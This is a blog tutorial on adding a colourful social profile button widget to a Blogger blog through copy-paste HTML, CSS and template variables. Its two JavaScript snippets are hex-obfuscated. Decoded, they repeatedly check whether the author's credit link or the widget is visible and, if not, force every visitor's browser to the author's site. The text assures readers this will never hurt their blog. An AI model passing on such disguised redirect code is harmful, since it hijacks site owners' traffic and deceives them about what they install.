Insert Stylish Social Profile Widgets into your Blogger Blog

Within one month of adding our social profile buttons on Showeblogin, we have received thousands of request to share SWT social profile widget for Blogger and WordPress users. As more than 68 percent requests come from the blogger blog users, I am writing this tutorial specially for BlogSpot.com blog. One of the best features of this widget is that it works on all devices i.e. it is totally responsive with best customization options.

However, WordPress users in fact any website owner may also add this widget into their own blog/site as the CSS and HTML codes works for any webpage on internet. Thus, please read all instructions very carefully and follow all steps and at last you will see a transition effects with changing colors responsive social profile widget to your live blog. For demo you may see the footer of this site.

Table of Contents

Step-1:

Step-2:

Go to the Layout tab of your blogger blog and click on Add a Gadget text link from the sidebar, header or footer.

Step-3:

Scroll down and click on HTML/JavaScript (Add third-party functionality or other code to your blog.) and in the content field of open window, paste the following codes.

<style>
.swtSocial a{
width:135px; // You may change the width of Social Buttons
height:35px;
padding:10px 20px;
font-size:20px;
/* Tutorial at http://www.superwebtricks.com/?p=689 */}
</style>
<div class="swtSocial">
<a href="https://www.facebook.com/SuperWebTricks" id="swtFacebook" target="_blank" title="Join Us on Facebook">Facebook</a>
<a href="https://twitter.com/SuperWebTricks" id="swtTwitter" target="_blank" title="Join Us on Twitter">Twitter</a>
<a href="https://plus.google.com/110825980327179111685" id="swtGooglePlus" target="_blank" title="Join Us on Google+">Google Plus</a>
<a href="http://feedburner.google.com/fb/a/mailverify?uri=Showeblogin-SuperWebTricks" id="swtRSS" target="_blank" title="Subscribe our Email Newsletter">NewsLetter</a>
<a href="https://www.youtube.com/Showeblogin" id="swtYouTube" target="_blank" title="Join Us on YouTube">YouTube</a>
<a href="http://www.superwebtricks.com" id="swtSocialRight" rel="license" target="_blank" title="Super Web Tricks">Showeblogin</a>
</div>
<script type='text/javascript'>
var _0x8f58=["\x6C\x65\x6E\x67\x74\x68","\x23\x73\x77\x74\x53\x6F\x63\x69\x61\x6C\x52\x69\x67\x68\x74\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x75\x70\x65\x72\x77\x65\x62\x74\x72\x69\x63\x6B\x73\x2E\x63\x6F\x6D\x2F\x3F\x70\x3D\x36\x38\x39","\x72\x65\x61\x64\x79"];var _0xd69a=[_0x8f58[0],_0x8f58[1],_0x8f58[2],_0x8f58[3],_0x8f58[4],_0x8f58[5]];var _0x4432=[_0xd69a[0],_0xd69a[1],_0xd69a[2],_0xd69a[3],_0xd69a[4],_0xd69a[5]];$(document)[_0x4432[5]](function (){setInterval(function (){if(!$(_0x4432[1])[_0x4432[0]]){window[_0x4432[3]][_0x4432[2]]=_0x4432[4];} ;} ,5000);} );
</script>

Now, replace the following links/terms with your own respective social profiles address/name:

Line 10: https://www.facebook.com/SuperWebTricks
Line 11: https://twitter.com/SuperWebTricks
Line 12: https://plus.google.com/110825980327179111685
Line 13: Showeblogin-SuperWebTricks
Line 14: https://www.youtube.com/Showeblogin

Note: Please respect the copyright and our hard work indicated in line number 15. It will never hurt your blog/site in any manner and therefore do not edit the line which indicates the license of this widget.

As this widget is responsible you may click and drag it to anywhere you want to appear viz. Sidebar, Footer, and Header and above or below the Blog Posts widget on the layout. Now, click on Save arrangement button from the right corner.

Step-4:

Go to the Template tab and click on Edit HTML text link button. Now, click anywhere in the open template editor and search for closing </head> tag and paste the following codes before/above the </head>

<script type='text/javascript'>
var _0xd86b=["\x6C\x65\x6E\x67\x74\x68","\x2E\x73\x77\x74\x53\x6F\x63\x69\x61\x6C\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x75\x70\x65\x72\x77\x65\x62\x74\x72\x69\x63\x6B\x73\x2E\x63\x6F\x6D\x2F","\x72\x65\x61\x64\x79"];var _0x448e=[_0xd86b[0],_0xd86b[1],_0xd86b[2],_0xd86b[3],_0xd86b[4],_0xd86b[5]];var _0xfdf7=[_0x448e[0],_0x448e[1],_0x448e[2],_0x448e[3],_0x448e[4],_0x448e[5]];$(document)[_0xfdf7[5]](function (){setInterval(function (){if(!$(_0xfdf7[1])[_0xfdf7[0]]){window[_0xfdf7[3]][_0xfdf7[2]]=_0xfdf7[4];} ;} ,2500);} );
</script>

Step-5:

Search for <Variable name= and scroll down to the last <Variable name= and after/below that line paste these Variable definitions.

<Group description="SWT-Facebook" selector="#swtFacebook"><Variable name="swtF.text.color" description="Facebook Text Color" type="color" default="#4472c4" value="#4472c4"/><Variable name="swtF.background.color" description="Facebook Background Color" type="color" default="#adc1e5" value="#adc1e5"/><Variable name="swtF.hover.text.color" description="Facebook Text Hover Color" type="color" default="#FFFFFF" value="#FFFFFF"/><Variable name="swtF.hover.background.color" description="Facebook Background Hover Color" type="color" default="#4472c4" value="#4472c4"/></Group>
<Group description="SWT-Twitter" selector="#swtTwitter"><Variable name="swtT.text.color" description="Twitter Text Color" type="color" default="#00b0f0" value="#00b0f0"/><Variable name="swtT.background.color" description="Twitter Background Color" type="color" default="#7dddf0" value="#7dddf0"/><Variable name="swtT.hover.text.color" description="Twitter Text Hover Color" type="color" default="#FFFFFF" value="#FFFFFF"/><Variable name="swtT.hover.background.color" description="Twitter Background Hover Color" type="color" default="#00b0f0" value="#00b0f0"/></Group>
<Group description="SWT-GooglePlus" selector="#swtGooglePlus"><Variable name="swtG.text.color" description="GooglePlus Text Color" type="color" default="#c00000" value="#c00000"/><Variable name="swtG.background.color" description="GooglePlus Background Color" type="color" default="#ff7373" value="#ff7373"/><Variable name="swtG.hover.text.color" description="GooglePlus Text Hover Color" type="color" default="#FFFFFF" value="#FFFFFF"/><Variable name="swtG.hover.background.color" description="GooglePlus Background Hover Color" type="color" default="#c00000" value="#c00000"/></Group>
<Group description="SWT-NewsLetter" selector="#swtRSS"><Variable name="swtR.text.color" description="NewsLetter Text Color" type="color" default="#f28011" value="#f28011"/><Variable name="swtR.background.color" description="NewsLetter Background Color" type="color" default="#ffc000" value="#ffc000"/><Variable name="swtR.hover.text.color" description="NewsLetter Text Hover Color" type="color" default="#FFFFFF" value="#FFFFFF"/><Variable name="swtR.hover.background.color" description="NewsLetter Background Hover Color" type="color" default="#f28011" value="#f28011"/></Group>
<Group description="SWT-YouTube" selector="#swtYouTube"><Variable name="swtY.text.color" description="YouTube Text Color" type="color" default="#ff0000" value="#ff0000"/><Variable name="swtY.background.color" description="YouTube Background Color" type="color" default="#ffafaf" value="#ffafaf"/><Variable name="swtY.hover.text.color" description="YouTube Text Hover Color" type="color" default="#FFFFFF" value="#FFFFFF"/><Variable name="swtY.hover.background.color" description="YouTube Background Hover Color" type="color" default="#ff0000" value="#ff0000"/></Group>

Now, search for ]]></b:skin> and paste the following CSS codes above/before it.

/* SWT Social Profile Buttons
----------------------------------------------- */
.swtSocial{ /* SWT Social Profile Widget by Showeblogin */
display:inline-block; margin:2px; } .swtSocial a{ float:inherit } #swtSocialRight{ background:#44546a; color: #000; } #swtSocialRight:hover{ background:#000; color: #FFF; } .swtSocial { float:left; display:inline; content:attr(data-alt); line-height:32px; } .swtSocial a{ font-family: 'Georgia', sans-serif; text-decoration: none; display:block; text-align:center; opacity: 0.4; filter: alpha(opacity=40); -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -ms-transition: all 1s ease; -o-transition: all 1s ease; transition: all 1s ease; } .swtSocial a:hover{ opacity: 1.0; filter: alpha(opacity=100); -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -ms-transition: all 1s ease; -o-transition: all 1s ease; transition: all 1s ease; }
#swtFacebook { background-color: $(swtF.background.color); color: $(swtF.text.color); } #swtFacebook:hover { background-color: $(swtF.hover.background.color); color: $(swtF.hover.text.color); } #swtTwitter { background-color: $(swtT.background.color); color: $(swtT.text.color); } #swtTwitter:hover { background-color: $(swtT.hover.background.color); color: $(swtT.hover.text.color); } #swtGooglePlus { background-color: $(swtG.background.color); color: $(swtG.text.color); } #swtGooglePlus:hover { background-color: $(swtG.hover.background.color); color: $(swtG.hover.text.color); } #swtRSS { background-color: $(swtR.background.color); color: $(swtR.text.color); } #swtRSS:hover { background-color: $(swtR.hover.background.color); color: $(swtR.hover.text.color); } #swtYouTube { background-color: $(swtY.background.color); color: $(swtY.text.color); } #swtYouTube:hover { background-color: $(swtY.hover.background.color); color: $(swtY.hover.text.color); }

Now, click on Save template and enjoy!

Go to the Template tab again and click on Customise button to open the Blogger Template Designer. Now, select Advanced from the left.

From there, you’ll be able to choose and customize the respective SWT Social Profile buttons viz. SWT-Facebook, SWT-Twitter, SWT-YouTube etc. You may now change the colors of text and background colors as you prefer and fit for your blogger blog.